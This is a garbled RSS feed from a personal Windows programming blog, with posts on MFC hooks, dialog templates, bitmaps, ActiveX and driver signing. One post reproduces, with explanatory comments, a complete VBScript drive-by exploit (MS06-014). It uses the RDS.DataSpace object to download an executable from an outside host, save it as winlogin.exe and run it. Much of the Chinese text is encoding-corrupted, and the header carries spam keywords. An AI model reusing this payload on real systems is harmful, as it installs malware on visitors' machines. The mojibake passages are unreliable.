??xml version="1.0" encoding="utf-8" standalone="yes"?>91超碰碰碰碰久久久久久综合,亚洲午夜久久久久久久久电影网,久久久艹http://www.shnenglu.com/aqazero/category/2110.htmlzh-cnFri, 14 Sep 2012 22:55:12 GMTFri, 14 Sep 2012 22:55:12 GMT60printer driverhttp://www.shnenglu.com/aqazero/archive/2012/09/12/190456.htmlbrentbrentWed, 12 Sep 2012 15:26:00 GMThttp://www.shnenglu.com/aqazero/archive/2012/09/12/190456.htmlhttp://www.shnenglu.com/aqazero/comments/190456.htmlhttp://www.shnenglu.com/aqazero/archive/2012/09/12/190456.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/190456.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/190456.htmlC:\PROGRA~2\COMMON~1\FLOORC~1\FEP\PRIMOA~2\PrimoRun.exe
1) disable driver digital signatures
http://answers.microsoft.com/en-us/windows/forum/windows_7-windows_programs/turning-off-digital-signatures/23c67c73-3fa0-4de3-a9b5-3adf4c3472f3 

You can disable digitally signed signatures, however it is not recommended.
Important: The driver signing enforcement in Windows 7 and Vista is there for a reason. Unsigned drivers could theoretically contain malicious code and harm your computer.

Step 1: Click Start button on the left bottom corner of desktop. In the search box, type "cmd"

Step 2: Go to Run command, and right click on command prompt and click on "Run as administrator".

Step 3: In the command prompt, type in these commands: Be very careful here. BCDEDIT controls how your computer boots up.

IMPORTANT:make a backup of your bcd file first. To do that, type:
bcdedit /export C:\savedbcd

This will create a file c:\savebcd which is your boot entry backup.
If you mess up, you can always undo changes by:

bcdedit /import c:\savedbcd

Then type these commands:

bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

After you finished the steps above mentioned, you have made digital driver signing signature disabled for all installation. So you can install device drivers on Windows 7 without warning message that those drivers should be digitally signed.


2) install gpedit on window 7 basic 
http://www.askvg.com/how-to-enable-group-policy-editor-gpedit-msc-in-windows-7-home-premium-home-basic-and-starter-editions/comment-page-4/#comments 

NOTE: For Windows 7 64-bit (x64) users! You'll also need to go to "SysWOW64" folder present in C:\Windows folder and copy "GroupPolicy", "GroupPolicyUsers" folders and gpedit.msc file from there and paste them in "C:\Windows\System32" folder. 

http://www.shnenglu.com/Files/aqazero/add_gpedit_msc_by_jwils876-d3kh6vm.zip


3) uninstall AOL 
http://answers.yahoo.com/question/index?qid=20061224095808AAMxsCT 
AOL ANTIVIRUS AOL SPYWARE PROTECTION  AOL FIREWALL AOL SAFETY AND SECURITY CENTER 

http://forums.techguy.org/digital-photography-imaging/536280-alternate-solution-printer-driver-unknown.html 





brent 2012-09-12 23:26 发表评论
]]>
simulate OnIdle in MFC ActiveX controlhttp://www.shnenglu.com/aqazero/archive/2010/04/15/112672.htmlbrentbrentThu, 15 Apr 2010 07:49:00 GMThttp://www.shnenglu.com/aqazero/archive/2010/04/15/112672.htmlhttp://www.shnenglu.com/aqazero/comments/112672.htmlhttp://www.shnenglu.com/aqazero/archive/2010/04/15/112672.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/112672.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/112672.html
Method A:
::SetWindowsHookEx(WH_FOREGROUNDIDLE, YourIdleProc, AfxGetInstanceHandle(), GetCurrentThreadId());

Method B (my way):
 1 static HHOOK s_hGetMsgHook = NULL;
 2 
 3 LRESULT FAR PASCAL GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
 4 {
 5     AFX_MANAGE_STATE(AfxGetStaticModuleState( ));
 6 
 7     LPMSG lpMsg = (LPMSG) lParam;
 8     if( (nCode >= 0&& PM_REMOVE == wParam)
 9     {
10         //your code here. maybe to deal with hot-keys, accelerators ...
11         //see http://support.microsoft.com/kb/187988
12 
13         //my code to simulate OnIdle
14         static BOOL bIdle = FALSE;
15         CWinApp* pApp = AfxGetApp();
16         if(!bIdle && pApp->IsIdleMessage(lpMsg))
17             bIdle = TRUE;
18         
19         if(bIdle)
20         {
21             MSG msgPeek = {0};
22             if(!::PeekMessage(&msgPeek, NULL, NULL, NULL, PM_NOREMOVE))
23             {
24                 VERIFY(PostMessage(AfxGetMainWnd()->GetSafeHwnd(), WM_USER+0x120x340x56));
25             }
26         }
27 
28         if(lpMsg->hwnd == AfxGetMainWnd()->GetSafeHwnd() &&
29             lpMsg->message == WM_USER+0x12 && lpMsg->wParam == 0x34 && lpMsg->lParam == 0x56)
30         {
31             lpMsg->message = WM_NULL;
32             lpMsg->lParam = 0L;
33             lpMsg->wParam = 0L;
34 
35             pApp->OnIdle(0);
36             bIdle = FALSE;
37         }
38     }
39 
40     return ::CallNextHookEx(s_hGetMsgHook, nCode, wParam, lParam);
41 }
42 
43 int CYourOleControl::OnCreate(LPCREATESTRUCT lpCreateStruct) 
44 {
45     //...
46     
47     if(NULL == s_hGetMsgHook)
48         s_hGetMsgHook = ::SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, AfxGetInstanceHandle(), GetCurrentThreadId());
49 }
50 
51 void CYourOleControl::OnDestroy() 
52 {
53     //...
54     
55     ::UnhookWindowsHookEx(s_hGetMsgHook);
56     s_hGetMsgHook = NULL;
57 
58     COleControl::OnDestroy();
59 }

Method A is far more simple, but with Method B:

1) You can override CWinApp::IsIdleMessage to filter some special messages, such as a frequent timer which will not affect what you want to do in CWinApp::OnIdle. Because timer will affect message queue and if you don't filter it, OnIdle will be called every time after the timer is invoked.

2) Sometimes your action in OnIdle will affect message queue inevitably, thus you will get a infinite loop: OnIdle->the special messages in message queue->OnIdle->... But with Method B, with SPY++ you can find the special messages, and filter them in IsIdleMessage.


brent 2010-04-15 15:49 发表评论
]]>
vista windows 7 areo progress barhttp://www.shnenglu.com/aqazero/archive/2009/11/06/100283.htmlbrentbrentFri, 06 Nov 2009 03:56:00 GMThttp://www.shnenglu.com/aqazero/archive/2009/11/06/100283.htmlhttp://www.shnenglu.com/aqazero/comments/100283.htmlhttp://www.shnenglu.com/aqazero/archive/2009/11/06/100283.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/100283.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/100283.html
http://stackoverflow.com/questions/313792/disabling-progress-bar-animation-on-vista-aero
http://msdn.microsoft.com/en-us/library/aa511486.aspx

?meters"? 没空啊?br>
我的暴力Ҏ(gu)是:(x)
g_xpStyle.SetWindowTheme(m_hProgressWnd, L"",L"");

g_xpStyle 是那个 CVisualStylesXPQ?google 一下就有了?br>

brent 2009-11-06 11:56 发表评论
]]>
恨不盔R未嫁时http://www.shnenglu.com/aqazero/archive/2009/10/29/99731.htmlbrentbrentThu, 29 Oct 2009 03:56:00 GMThttp://www.shnenglu.com/aqazero/archive/2009/10/29/99731.htmlhttp://www.shnenglu.com/aqazero/comments/99731.htmlhttp://www.shnenglu.com/aqazero/archive/2009/10/29/99731.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/99731.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/99731.htmlbcgcontrolbar

Z间最痛苦的事莫过于此?br>


brent 2009-10-29 11:56 发表评论
]]>
create mfc dialog by template will drive you mad.http://www.shnenglu.com/aqazero/archive/2008/11/19/67287.htmlbrentbrentWed, 19 Nov 2008 07:10:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/11/19/67287.htmlhttp://www.shnenglu.com/aqazero/comments/67287.htmlhttp://www.shnenglu.com/aqazero/archive/2008/11/19/67287.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/67287.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/67287.html
And now, sometimes , i need CMyDialog to be a model dialog (WS_POPUP), sometimes be a child of another dialog(WS_CHILD).

How to make this done without duplicating the template in resource?

Call ModifyStyle after creation? Failed
Modify the LPCREATESTRUCT's style in CMyDialog::OnCreate ? Failed.
Override PreCreateWindow? Failed.

After a lot of tracing and a lot of googling. I worked out something like this:

BOOL CMyDialog::CreateAsChild(CWnd * pParent)
{
    
if(!IsWindow(pParent->GetSafeHwnd()))
        
return FALSE;

    m_lpszTemplateName 
= ATL_MAKEINTRESOURCE(IDD_WALLLAYER_PROPERTYPAGE);  // used for help
    if (m_nIDHelp == 0)
        m_nIDHelp 
= LOWORD((DWORD_PTR)m_lpszTemplateName);

    HINSTANCE hInst 
= AfxFindResourceHandle(m_lpszTemplateName, RT_DIALOG);
    HRSRC hResource 
= ::FindResource(hInst, m_lpszTemplateName, RT_DIALOG);
    HGLOBAL hTemplate 
= LoadResource(hInst, hResource);
    LPCDLGTEMPLATE lpDialogTemplate 
= (LPCDLGTEMPLATE)LockResource(hTemplate);
    DLGTEMPLATEEX
* lpDlgTmpEx = (DLGTEMPLATEEX* )lpDialogTemplate;
    DWORD dwOldStyle 
= 0;
    BOOL bIsDlgEx 
= lpDlgTmpEx->signature == 0xFFFF;
    
if(bIsDlgEx)
    {
        dwOldStyle 
= lpDlgTmpEx->style;
        lpDlgTmpEx
->style = DS_SETFONT | WS_CHILD;
    }
    
else
    {
        dwOldStyle 
= ((LPDLGTEMPLATE)lpDialogTemplate)->style;
        ((LPDLGTEMPLATE)lpDialogTemplate)
->style = DS_SETFONT | WS_CHILD;
    }
    m_lpDialogInit 
= NULL;
    BOOL bResult 
= CreateDlgIndirect(lpDialogTemplate, pParent, hInst);
    
if(bIsDlgEx)
        lpDlgTmpEx
->style = dwOldStyle;
    
else
        ((LPDLGTEMPLATE)lpDialogTemplate)
->style = dwOldStyle;
    UnlockResource(hTemplate);
    FreeResource(hTemplate);
    
return bResult;
}

If you need your dialog to behavior as WS_POPUP or WS_CHILD without duplicating your dialog template, you just get an ugly answer. And anyone who know another better way, let me know please.

MFC


brent 2008-11-19 15:10 发表评论
]]>
trap in CreateCompatibleBitmap and memory dchttp://www.shnenglu.com/aqazero/archive/2008/07/14/56118.htmlbrentbrentMon, 14 Jul 2008 09:15:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/07/14/56118.htmlhttp://www.shnenglu.com/aqazero/comments/56118.htmlhttp://www.shnenglu.com/aqazero/archive/2008/07/14/56118.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/56118.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/56118.html        CDC dcMem;
        VERIFY(dcMem.CreateCompatibleDC(NULL));
        CBitmap bmp;
        VERIFY(bmp.CreateCompatibleBitmap(
&dc,100,100));
        CBitmap 
* pOld = dcMem.SelectObject(&bmp);
        dcMem.FillSolidRect(
0,0,100,100,RGB(255,0,0));
        dcMem.MoveTo(
0,0);
        dcMem.LineTo(
100,100);
        dc.BitBlt(
0,0,100,100,&dcMem,0,0,SRCCOPY);
        dcMem.SelectObject(pOld);
these codes will run smoothly. but you will get nothing other a bitmap either black or white.

See what MSDN says:

CBitmap::CreateCompatibleBitmap

If pDC is a memory device context, the bitmap returned has the same format as the currently selected bitmap in that device context.

When a memory device context is created, GDI automatically selects a monochrome stock bitmap for it.


Solution:
1) pass in  a CPaintDC instead of a memory dc
2) just replace VERIFY(bmp.CreateCompatibleBitmap(&dc,100,100)); with bmp.CreateBitmap(100,100,1,32,NULL);



brent 2008-07-14 17:15 发表评论
]]>
ie helper, great!http://www.shnenglu.com/aqazero/archive/2008/03/13/44374.htmlbrentbrentThu, 13 Mar 2008 07:29:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/03/13/44374.htmlhttp://www.shnenglu.com/aqazero/comments/44374.htmlhttp://www.shnenglu.com/aqazero/archive/2008/03/13/44374.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/44374.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/44374.html

brent 2008-03-13 15:29 发表评论
]]>
digitizershttp://www.shnenglu.com/aqazero/archive/2008/02/18/42883.htmlbrentbrentMon, 18 Feb 2008 07:22:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/02/18/42883.htmlhttp://www.shnenglu.com/aqazero/comments/42883.htmlhttp://www.shnenglu.com/aqazero/archive/2008/02/18/42883.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/42883.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/42883.html
for python:
http://cgkit.sourceforge.net/doc2/module-cgkit.wintab.html

http://www.gtcocalcomp.com/developers.php



brent 2008-02-18 15:22 发表评论
]]>
disk id and WMI C#http://www.shnenglu.com/aqazero/archive/2008/01/25/41902.htmlbrentbrentFri, 25 Jan 2008 09:27:00 GMThttp://www.shnenglu.com/aqazero/archive/2008/01/25/41902.htmlhttp://www.shnenglu.com/aqazero/comments/41902.htmlhttp://www.shnenglu.com/aqazero/archive/2008/01/25/41902.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/41902.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/41902.htmlhttp://msdn2.microsoft.com/en-us/library/aa394554(VS.85).aspx

http://www.csharphelp.com/archives2/archive334.html

http://www.eggheadcafe.com/articles/20030511.asp



brent 2008-01-25 17:27 发表评论
]]>
通过 .NET Compact Framework 优化 Pocket PC 开?/title><link>http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 29 Nov 2007 10:12:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/37505.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/37505.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/37505.html</trackback:ping><description><![CDATA[http://www.microsoft.com/china/MSDN/library/Mobility/pocketpc/NETCompactFramework.mspx?mfr=true<br><br>scroll bar in .netCFW<br> http://www.c-sharpcorner.com/UploadFile/mgold/PocketPackingList11082006213122PM/PocketPackingList.aspx<br><br> <img src ="http://www.shnenglu.com/aqazero/aggbug/37505.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2007-11-29 18:12 <a href="http://www.shnenglu.com/aqazero/archive/2007/11/29/37505.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>note Algorithm book, sql server download, .net context help, activex hotkey/ acceleratorhttp://www.shnenglu.com/aqazero/archive/2007/09/14/32214.htmlbrentbrentFri, 14 Sep 2007 08:13:00 GMThttp://www.shnenglu.com/aqazero/archive/2007/09/14/32214.htmlhttp://www.shnenglu.com/aqazero/comments/32214.htmlhttp://www.shnenglu.com/aqazero/archive/2007/09/14/32214.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/32214.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/32214.html
a great book about Algorithm  http://www2.toki.or.id/book/AlgDesignManual/INDEX.HTM

sql server developer
http://beta.verycd.com/groups/@g19046/135284.topic
http://beta.verycd.com/groups/@g19046/64613.topic


A great idea about context help:
1)http://www.codeproject.com/csharp/ContextHelpMadeEasy.asp
2)http://netpl.blogspot.com/2007/07/context-help-made-easy-revisited.html


How to deal with hotkey / accelerator keys in activex
http://support.microsoft.com/?scid=kb;EN-US;Q187988

You know how to google ,you know almost every thing.


brent 2007-09-14 16:13 发表评论
]]>
Excel addin处理学生成Whttp://www.shnenglu.com/aqazero/archive/2006/11/28/15731.htmlbrentbrentTue, 28 Nov 2006 06:40:00 GMThttp://www.shnenglu.com/aqazero/archive/2006/11/28/15731.htmlhttp://www.shnenglu.com/aqazero/comments/15731.htmlhttp://www.shnenglu.com/aqazero/archive/2006/11/28/15731.html#Feedback6http://www.shnenglu.com/aqazero/comments/commentRss/15731.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/15731.html每次都要重复一些excel插入Q复Ӟ_脓(chung)的操作,于是自作聪明地让我帮她写E序?br>Zq么点小事,让我用vc++写程?我对VBA不熟?..)Q实在是大材用啊?br>而且E序写好后还问题多多Qbug多多Q嗯Q?zhn)凑合着用吧?br>有问题就在这里留个言Q程序已l有更新功能了,我修改v来你更新h都会(x)很方便的(但愿如此??br>
for user:
安装E序?http://www.shnenglu.com/Files/aqazero/brentExcelAddinSetup_fm.zip
excel文g格式参?http://www.shnenglu.com/Files/aqazero/example_brentAddin.zip

很烂的源码:(x)http://www.shnenglu.com/Files/aqazero/BrentAddin.rar


brent 2006-11-28 14:40 发表评论
]]>
一D|入木马的html代码http://www.shnenglu.com/aqazero/archive/2006/09/25/12944.htmlbrentbrentMon, 25 Sep 2006 06:18:00 GMThttp://www.shnenglu.com/aqazero/archive/2006/09/25/12944.htmlhttp://www.shnenglu.com/aqazero/comments/12944.htmlhttp://www.shnenglu.com/aqazero/archive/2006/09/25/12944.html#Feedback1http://www.shnenglu.com/aqazero/comments/commentRss/12944.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/12944.html < html >
 
< script  language ="VBScript" >
    
on   error   resume   next
    
' 卛_下蝲的木?/span>
    dl  = " ht#tp://ww#w.800vv.com/cc/cj.exe# "
    
' 创徏OBJECT元素
     Set  df  =  document.createElement( " object " )
    
' 指定OBJECT为RDS.DataSpace 
         ' 该对象有一个方法名为CreateObjectQ?/span>
         ' helpstring("Creates a business object of the specified Progid over the specified connection")
    df.setAttribute  " classid " " clsid:BD96C556-65A3-11D#0-983A-00C04F#C29E36 "
    
'
    str = " Microsoft.XMLHTTP "
    
' RDS.DataSpace.CreateObject("Microsoft.XMLHTTP","")
     Set  x  =  df.CreateObject(str, "" )
    
' 4545
    a1 = " A#do "
    a2
= " db. "
    a3
= " Str "
    a4
= " eam "
    
' str5 = "Adodb.Stream" 分成q么多段是ؓ(f)了掩目
    str1 = a1 & a2 & a3 & a4
    str5
= str1
    
' RDS.DataSpace.CreateObject("Ado#db.Str#eam","")
     set  S  =  df.createobject(str5, "" )
    
' 5455
    S.type  =   1
    str6
= " GET "
    
' Microsoft.XMLHTTP.Open "GET" "ht#tp://ww#w.800vv.com/cc/cj.exe#" False
         ' 下蝲木马
    x.Open str6, dl,  False
    x.Send
    
' 本地文g?/span>
    fname1 = " winlogin.exe "
    
' 888
     set  F  =  df.createobject( " Scri#pting.FileSy#stemObject " , "" )
    
' 获取临时目录
     set  tmp  =  F.GetSpecialFolder( 2
    
' 创徏本地文g
    fname1 =  F.BuildPath(tmp,fname1)
    
' Adodb.Stream.open
    S.open
    
' Adodb.Stream.write 木马代码
    S.write x.responseBody
    
' Adodb.Stream.savetofile "临时目录\winlogin.exe"
    S.savetofile fname1, 2
    
' 6551
    S.close
    
' 458
     set  Q  =  df.createobject( " Shell.Application " , "" )
    
' q行 临时目录\winlogin.exe
    Q.ShellExecute fname1, "" , ""
    
' 55
    
</ script >
    
< head >
    
< title > icexiaoyeMS06-014免杀|马 </ title >
    
</ head >< body >
    
< center > icexiaoyeMS06-014免杀|马 </ center >
    
</ body >

< script  type ="text/jscript" >
function  init() 
document.write(Date());

}

window.onload 
=  init;
</ script >
</ html > 一般来_(d)script是无法写本地文g的。。这D代码利用了Microsoft Data Access Components (MDAC)的一个安全漏z来写本地文件?img src ="http://www.shnenglu.com/aqazero/aggbug/12944.html" width = "1" height = "1" />

brent 2006-09-25 14:18 发表评论
]]>
提取Office 2003工具栏图?/title><link>http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 13 Jul 2006 09:28:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/9816.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/9816.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/9816.html</trackback:ping><description><![CDATA[转蝲?a >http://www.citom.com/</a>论坛<a >http://www.citom.com/forum/forum_posts.asp?TID=301&PN=1&TPN=1</a><br /><br />Z对MS Office 2003界面研究的兴,最q收集了如何提取Office 2003工具栏图标的相关链接q略加翻译整理,怿Ҏ(gu)感兴的不止我一个,Ҏ(gu)׃n? <h1>1.ZQ?/h1><ul><li>界面标准化的最好办法就是与MS保持一_(d)而Office2003图标非常漂亮q且很完? </li><li>现有资源提取工具无法从Office2003相关文g中提取工h图标 </li><li>手工截屏工作量大、尺怸准确、无法完整保?2位色Q?位Alpha通道) </li></ul><h1>2.条g</h1><ul><li>已安装Offfice 2003 </li><li><a href="/Files/aqazero/F53_extract-office20003-icons.rar">下蝲提取软g</a></li><li><font color="#ff0000">昄模式讄?2位,切记Q?/font></li></ul><h1>3.步骤</h1><ol type="a"><li>q行 SaveAlphaIcons.xla<br />如果提示宏被用Q进入Excel菜单-〉工?〉宏-〉安全性,把安全别设Z再次q行q确认启用宏? </li><li>按Alt+F11q入"Visual Basic~辑?,然后按F5q行宏即可,q行完成后请到“我的文?下查?Office 11.0 Alpha Icons"目录Q该目录下应该有2488?BMP文gQ一个文件对应一个图标,每个图标都是16*16大小32位(包括8位Alpha通道),大尺寸图标是通过软g~放完成的,Office本n没有单独的大图标? </li><li>图标合ƈ。把alphahlp.exe和CombineBMPs.vbs拯?Office 11.0 Alpha Icons"目录Ql运?CombineBMPs.vbsQ将?x)把之前生成的所有小囄合成一个大囄(需要较长时?Qƈ?bmp,tif,tga,png{几U格式可供选择Q几个文件分别是QOffice2003icons.bmpQOffice2003icons.pngQOffice2003icons.tgaQOffice2003icons.tifQOffice2003icons-24bit.pngQOffice2003icons-alpha.pngQ其中Office2003icons-alpha.png是仅包含Alpha通道的灰度图像,它与Office2003icons-24bit.png一h由O(jin)ffice2003icons.png分解而来的,大家可根据具体情况选用?</li></ol><h1>4.问题</h1><ul><li>怎样查找需要的图标?<br />׃图标数目非常之大、ƈ且尺寸很,使用资源理器的~略囑֒qȝ片等方式查看都不合适,而合q后的大图每排有50个,共有50排,看v来也是眼q݋乱。因此,要从中挑选合适的图标需要一定的技巧。我的经验是首先通过使用Office2003对大概有哪些图标有个整体了解Q其ơ是使用大图对图标的分布有个大致了解Q相关的图标通常在一PQ然后可使用ACDSEE的羃略图查看QACDSEE默认的羃略图寸也不适合查看图?可在"工具-〉选项-〉文件列?〉羃略图昄"中设|羃略图大小?0*30 (ACDSEE6.0版本Q? </li><li>所有图标都在这里了?<br />我所知,所有图标都在这里了。但有时仍然?x)出现找不到在Office2003界面中见q的图标Q这旉要耐心同时要注意有的图标(如左寚wQ本w就是黑色的Q在查看时会(x)发现很多全黑色的图标Q其中可能就有你要的图标。对q类图标可在Photoshop中打开Q在通道面板中把Alpha通道昄选中卛_看清图标原貌?</li></ul><h1>5.注意</h1><p>虽然我们热切期望q且微Y也应该把q些图标作ؓ(f)开发包的一部分免费发布Q这样以利于Windows应用的界面风格统一。但是,目前微Yq未许可免费使用?/p><div id="1661116" class="comment_content">Unless Microsoft releases those the icons are copyrighted. So you'd better get a permission to use those before you do. See <a target="_new"><font color="#800080">http://www.microsoft.com/permission/copyrgt/cop-img.htm</font></a>, it says the following: <br /><br />Icons <br />Microsoft does not generally allow the use of our icons in advertising, in books and other printed matter, on clothing or other promotional items, on-line and internet locations, in software applications, in television programs, commercials, movies, or on video tape, as they are NOT to be used as "artwork" or design elements. <br /><br />EXCEPTIONS: Use of our icons is permissible in relation to a training manual or documentation written for and/or about a Microsoft product. In such cases, use of Microsoft icons must be specific to the function of the icon within the Microsoft software, and not used as a graphical element or design for your own purposes. Further, icons cannot be modified or altered and must appear as they would within the Microsoft software.</div><h1>6.相关链接</h1><p>|博士论?<a >http://www.citom.com/forum</a></p><p><a >http://www.neowin.net/forum/index.php?showtopic=159107&hl=toolbar</a></p><p><a >http://www.winmatrix.com/forums/index.php?showtopic=1008&st=0</a></p><img src ="http://www.shnenglu.com/aqazero/aggbug/9816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2006-07-13 17:28 <a href="http://www.shnenglu.com/aqazero/archive/2006/07/13/9816.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Activex和ie 览器的互动http://www.shnenglu.com/aqazero/archive/2005/12/30/14186.htmlbrentbrentFri, 30 Dec 2005 09:51:00 GMThttp://www.shnenglu.com/aqazero/archive/2005/12/30/14186.htmlhttp://www.shnenglu.com/aqazero/comments/14186.htmlhttp://www.shnenglu.com/aqazero/archive/2005/12/30/14186.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/14186.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/14186.html今天中午看到一个电(sh)子签名的软g。一看,惊艳Q?br />activex控g直接dhtml元素的|比如<input type="text"></input>

实在是牛啊!Z开始以为是用javascript来做?查看了例子的源代码后发现不是.

那么q个acitvex控g臛_应该可以获得ie 览器的接口IWebBrowser2,但它是怎么做的?

一开始我的思\?ie览器作Z个容?它是否同时实CIOleContainer和IWebBrowser2?试验发现不对...l过多方google,扑ֈCSDN中shanhe的专?a >http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2
扑ֈ可行的代码如?

IOleContainer* pContainer;
HRESULT hr = m_pClientSite->GetContainer(&pContainer);
if (FAILED(hr))
    return hr;

IServiceProvider* pServiceProvider;
hr = pContainer->QueryInterface(IID_IServiceProvider,
                                (void**)&pServiceProvider);
pContainer->Release();
if (FAILED(hr))
    return hr;

IWebBrowser2* pWebBrowser;
hr = pServiceProvider->QueryService(SID_SWebBrowserApp,
                           IID_IWebBrowser2,
                           (void**)&pWebBrowser);
pServiceProvider->Release();
if (FAILED(hr))
    return hr;

可以获取了IWebBrowser2接口,但如何读取html元素的值呢?IWebBrowser2接口g没有q个功能?

又是千山万水的google:
vckbase:
http://vckbase.net/document/viewdoc/?id=1446
codeguru:
http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/

iehtmlelement.jpg 


msdn 2003 :
MSHTML ReferenceHOWTO: Get the WebBrowser Object Model of an HTML Frame
HOWTO: Retrieve the URL of a Web Page from an ActiveX Control

msdn关于MSHTML的参考也够烂Q列Z堆接口方法就不管了。究竟结构如何要自己ȝI。M很是不爽?/p>

brent 2005-12-30 17:51 发表评论
]]>
关于键盘输入和输入法的记?/title><link>http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 07:10:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/14193.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/14193.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/14193.html</trackback:ping><description><![CDATA[ <img height="1" src="http://www.cnitblog.com/Raistlin/aggbug/5592.html" width="1" /> <strong>关于光标的一些函?br /></strong>BOOL CreateCaret(HWND hWnd,HBITMAP hBitmap,int nWidth,int nHeight);为窗口创建光?br />BOOL DestroyCaret();销毁光?br />UINT GetCaretBlinkTime();光标闪烁间隔旉<br />BOOL GetCaretPos(LPPOINT lpPoint);光标在当前窗口的client位置<br />BOOL HideCaret(HWND hWnd);隐藏<br />BOOL SetCaretBlinkTime(UINT uMSeconds);光标闪烁间隔旉<br />BOOL SetCaretPos(int X,int Y);位置<br />BOOL ShowCaret(HWND hWnd);昄<br /><br />CWnd::CreateCaret<br />CWnd::CreateSolidCaret<br />CWnd::CreateGrayCaret<br />CWnd::GetCaretPos<br />CWnd::SetCaretPos<br />CWnd::HideCaret<br />CWnd::ShowCaret<br /><br /><strong>为其它进E模拟输入字W:(x)</strong><br />摘自<a >http://www.pcbookcn.com/article/1113.htm</a><br />  首先要知道在Windowspȝ中与键盘按键相关的消息有QWM_KEYDOWN、WM_KEYUP?WM_SYSKEYDOWN、WM_SYSKEYUP、WM_CHAR{。其中,W(xu)M_KEYDOWN为键按下QW(xu)M_KEYUP为键弹vQW(xu)M_SYSKEYDOWN为系l键按下QW(xu)M_SYSKEYUP为系l键弹vQW(xu)M_CHAR为按键对应的字符?br />  要模拟键盘生键盘消息,我们发送一条键盘消息给指定H口。比如要模拟一个字母键“A”,可以q样:PostMessage(hWnd, WM_CHAR, 'A', 0); 模拟按一个回车:(x)PostMessage(hWnd, WM_KEYDOWN, VK_RETURN, 0)。这里的关键问题是要定H口句柄QhWndQ,使用GetFocus()函数可以得到键盘光标所在窗口句柄,但该函数只能得到当前q程内的H口句柄?br />  如果要得到其他应用程序的键盘光标所在窗口句柄,需要调?AttachThreadInput()函数。该函数的作用就是将其他H口U程的输入附加到本窗口线E的输入操作中,q样可以调用GetFocus()函数得到其他H口的句柄了?br /><br />AttachThreadInput()函数的原形如? <br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">BOOL AttachThreadInput( <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />DWORD idAttach, </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 需要附加的U程ID </span><span style="COLOR: #008000"><br /><img 